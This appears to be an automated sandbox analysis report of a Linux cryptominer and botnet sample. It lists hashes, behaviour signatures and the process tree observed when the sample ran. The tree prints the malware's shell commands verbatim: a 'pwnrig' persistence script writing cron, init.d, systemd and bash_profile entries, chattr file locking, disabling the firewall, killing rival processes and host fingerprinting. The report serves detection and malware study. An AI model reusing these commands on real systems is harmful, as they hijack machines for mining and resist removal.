Analysis
-
max time kernel
93s -
max time network
78s -
platform
ubuntu-22.04_amd64 -
resource
ubuntu2204-amd64-20240611-en -
resource tags
-
submitted
03-07-2024 03:06
General
-
Target
fa68041f-b86b-43b4-a7a6-78b1dd65e75b
-
Size
3.2MB
-
MD5
7b53cfbbdad8231443b31dd36d7296de
-
SHA1
bf4a0a58fb6e6d8305bf57eb728e8243d879db94
-
SHA256
1a7e3988f870b32971389ad121fe97ee18a517df09d214910cafad2256d2ef02
-
SHA512
8c7952d2fb9ba68fda00e4b2f4332095d5cc98ca3452dcb5c0ee66472da62389c29f59724514fa7dcf009847355d5bc98dd39a6e64215b29296911911cfc15cc
-
SSDEEP
49152:Uq/aUtZ3gkAPLe3J83v/x5u9IwZalBbcu9kmxRWfMSvQ/TuG3qlOsZ32cE:UqyUj3dZ83Xx5uLZanflrivQTh5s9y
Score
10/10
Malware Config
Signatures
-
Detects Kaiten/Tsunami Payload 1 IoCs
-
Detects Kaiten/Tsunami payload 1 IoCs
-
Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
XMRig Miner payload 2 IoCs
-
Executes dropped EXE 4 IoCs
-
UPX packed file 3 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Attempts to change immutable files 34 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
-
Checks hardware identifiers (DMI) 1 TTPs 8 IoCs
Checks DMI information which indicate if the system is a virtual machine.
-
Creates/modifies Cron job 1 TTPs 17 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates active TCP sockets 1 TTPs 2 IoCs
Gets active TCP sockets from /proc virtual filesystem.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Modifies init.d 1 TTPs 3 IoCs
Adds/modifies system service, likely for persistence.
-
Modifies systemd 1 TTPs 3 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
-
Reads hardware information 1 TTPs 28 IoCs
Accesses system info like serial numbers, manufacturer names etc.
-
Writes file to system bin folder 1 TTPs 5 IoCs
-
Changes its process name 1 IoCs
-
Checks CPU configuration 1 TTPs 6 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Reads CPU attributes 1 TTPs 17 IoCs
-
Reads system network configuration 1 TTPs 36 IoCs
Uses contents of /proc filesystem to enumerate network settings.
-
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/fa68041f-b86b-43b4-a7a6-78b1dd65e75b/tmp/fa68041f-b86b-43b4-a7a6-78b1dd65e75b1⤵
- Creates/modifies Cron job
- Modifies init.d
- Modifies systemd
- Writes file to system bin folder
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
-
/usr/bin/pgreppgrep -f ksysr2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f sysrv2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f klibsystem42⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f klibsystem52⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/bashbash -c "ufw disable"2⤵
-
-
/usr/bin/lsoflsof -t -i :4442⤵
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
-
-
/usr/bin/lsoflsof -t -i :594752⤵
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
-
-
/usr/bin/psps -eo "pid,ppid,comm,%cpu" "--sort=-%cpu"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/chattrchattr +ia /etc/init.d/dpkg-deb-package2⤵
-
-
/etc/init.d/dpkg-deb-package/etc/init.d/dpkg-deb-package start2⤵
- Executes dropped EXE
-
/usr/bin/cpcp -f -r -- /bin/dpkg-debian /bin/dpkg-deb-package3⤵
-
-
/usr/bin/rmrm -rf -- dpkg-deb-package3⤵
-
-
/usr/bin/nohupnohup ./dpkg-deb-package3⤵
-
-
-
/usr/bin/chattrchattr +ia /etc/systemd/system/dpkg-deb-package.service2⤵
-
-
/usr/bin/systemctlsystemctl daemon-reload2⤵
-
-
/usr/bin/systemctlsystemctl enable dpkg-deb-package.service2⤵
-
/lib/systemd/systemd-sysv-install/lib/systemd/systemd-sysv-install enable dpkg-deb-package3⤵
-
/usr/bin/getoptgetopt -o r: --long root: -- enable dpkg-deb-package4⤵
-
-
/usr/sbin/update-rc.d/usr/sbin/update-rc.d dpkg-deb-package defaults4⤵
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵
-
-
-
/usr/sbin/update-rc.d/usr/sbin/update-rc.d dpkg-deb-package enable4⤵
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵
-
-
-
-
-
/usr/bin/chattrchattr +ia /bin/dpkg-debian2⤵
-
-
/bin/chattrchattr -ia /etc/cron.d/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.d/anacron2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.d/e2scrub_all2⤵
- Attempts to change immutable files
-
-
/tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237/tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237 -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
-
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵
- Attempts to change immutable files
-
/bin/hostnamehostname -I4⤵
- Attempts to change immutable files
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \"-\"\$2}"4⤵
-
-
/bin/headhead -n 14⤵
-
-
/bin/grepgrep "Port "4⤵
-
-
/bin/catcat /etc/ssh/sshd_config4⤵
-
-
/bin/whoamiwhoami4⤵
-
-
/bin/hostnamehostname4⤵
-
-
/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
-
-
/bin/cutcut -d: -f24⤵
-
-
/bin/sedsed -e "s/^ *//"4⤵
-
-
/bin/sedsed -e "s/\$//"4⤵
-
-
/bin/grepgrep -m 1 "model name" /proc/cpuinfo4⤵
- Checks CPU configuration
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$3}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \$2\" \"\$3\" \"\$4}"4⤵
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵
-
/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵
-
-
/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/idid -u4⤵
-
-
/bin/grepgrep -v grep4⤵
-
-
/bin/grepgrep /etc/cron4⤵
-
-
/bin/psps x4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵
-
/bin/idid -u4⤵
-
-
/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵
-
-
/bin/grepgrep -v /usr/sbin/httpd4⤵
-
-
/bin/grepgrep -v -- "-bash[[:space:]]*\$"4⤵
-
-
/bin/grepgrep -v grep4⤵
-
-
/bin/psps aux4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"3⤵
-
/bin/idid -u4⤵
-
-
/bin/wcwc -l4⤵
-
-
/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵
-
-
/bin/grepgrep -- "-bash[[:space:]]*\$"4⤵
-
-
/bin/grepgrep -v grep4⤵
-
-
/bin/psps aux4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
-
/bin/chattrchattr -ia /var/spool/cron/crontabs2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.hourly/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/0anacron2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/apport2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/apt-compat2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/cracklib-runtime2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/dpkg2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/man-db2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.weekly/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.weekly/0anacron2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.weekly/man-db2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.monthly/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.monthly/0anacron2⤵
- Attempts to change immutable files
-
-
/bin/bashbash -c "find /var/tmp -type f -regextype egrep -regex '.*[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}' -exec rm -rf {} +"2⤵
-
-
/bin/findfind /var/tmp -type f -regextype egrep -regex ".*[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}" -exec rm -rf "{}" +2⤵
-
-
/bin/bashbash -c "echo \"*/2 * * * * nohup /var/tmp/c8539299-4d34-4e53-9007-960c3ac092cb >/dev/null 2>&1 &\" | crontab -"2⤵
-
/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
-
/tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237/tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237 -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵
- Attempts to change immutable files
-
/bin/hostnamehostname -I4⤵
- Attempts to change immutable files
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/grepgrep "Port "4⤵
-
-
/bin/catcat /etc/ssh/sshd_config4⤵
-
-
/bin/headhead -n 14⤵
-
-
/bin/awkawk "{print \"-\"\$2}"4⤵
-
-
/bin/whoamiwhoami4⤵
-
-
/bin/hostnamehostname4⤵
-
-
/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
-
-
/bin/sedsed -e "s/^ *//"4⤵
-
-
/bin/sedsed -e "s/\$//"4⤵
-
-
/bin/cutcut -d: -f24⤵
-
-
/bin/grepgrep -m 1 "model name" /proc/cpuinfo4⤵
- Checks CPU configuration
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$3}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \$2\" \"\$3\" \"\$4}"4⤵
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵
-
/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵
-
-
/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/idid -u4⤵
-
-
/bin/grepgrep -v grep4⤵
-
-
/bin/grepgrep /etc/cron4⤵
-
-
/bin/psps x4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"3⤵
- Attempts to change immutable files
- Writes file to tmp directory
-
/bin/idid -u4⤵
-
-
/bin/idid -u4⤵
-
-
/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"4⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf /bin/bprofr4⤵
-
-
/bin/sedsed -i /bprofr/d "~/.bash_profile"4⤵
- Attempts to change immutable files
-
-
/bin/cpcp -f -r -- /tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237 /bin/bprofr4⤵
- Writes file to system bin folder
-
-
/bin/idid -u4⤵
-
-
/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"4⤵
- Attempts to change immutable files
-
-
/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly4⤵
-
-
/bin/chattrchattr -i -a "/etc/cron.*/pwnrig" /bin/crondr4⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf /bin/crondr4⤵
-
-
/bin/cpcp -f -r -- /tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237 /bin/crondr4⤵
- Writes file to system bin folder
-
-
/bin/teetee /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig4⤵
- Creates/modifies Cron job
-
-
/bin/sedsed -i "1 s/-e //" /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig4⤵
- Attempts to change immutable files
- Creates/modifies Cron job
-
-
/bin/chmodchmod +x /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵
-
-
/bin/chattrchattr +i +a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵
- Attempts to change immutable files
-
-
/bin/whichwhich chkconfig4⤵
-
-
/bin/whichwhich update-rc.d4⤵
-
-
/bin/chattrchattr -i -a /etc/init.d/pwnrig /bin/initdr4⤵
- Attempts to change immutable files
-
-
/sbin/update-rc.dupdate-rc.d -f pwnrig disable4⤵
-
-
/sbin/update-rc.dupdate-rc.d -f pwnrig remove4⤵
-
/bin/systemctlsystemctl daemon-reload5⤵
-
-
-
/bin/rmrm -rf /bin/initdr4⤵
-
-
/bin/cpcp -f -r -- /tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237 /bin/initdr4⤵
- Writes file to system bin folder
-
-
/bin/teetee /etc/init.d/pwnrig4⤵
- Modifies init.d
-
-
/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig4⤵
- Attempts to change immutable files
- Modifies init.d
-
-
/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr4⤵
-
-
/sbin/update-rc.dupdate-rc.d pwnrig defaults4⤵
-
/bin/systemctlsystemctl daemon-reload5⤵
-
-
-
/sbin/update-rc.dupdate-rc.d pwnrig enable4⤵
-
/bin/systemctlsystemctl --quiet enable pwnrig5⤵
-
-
/bin/systemctlsystemctl daemon-reload5⤵
-
-
-
/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr4⤵
- Attempts to change immutable files
-
-
/bin/whichwhich systemctl4⤵
-
-
/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf /bin/sysdr4⤵
-
-
/bin/cpcp -f -r -- /tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237 /bin/sysdr4⤵
- Writes file to system bin folder
-
-
/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵
- Modifies systemd
-
-
/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵
- Attempts to change immutable files
-
-
/bin/systemctlsystemctl enable pwnrige.service4⤵
-
-
/bin/systemctlsystemctl enable pwnrigl.service4⤵
-
-
/bin/systemctlsystemctl daemon-reload4⤵
-
-
/bin/systemctlsystemctl reload-or-restart pwnrige.service4⤵
-
-
-
-
/tmp/-python37-71e36674-4298-425e-b541-6dcfa8601963/tmp/-python37-71e36674-4298-425e-b541-6dcfa86019632⤵
- Executes dropped EXE
- Writes file to tmp directory
-
-
/usr/bin/dpkg-deb-package./dpkg-deb-package1⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
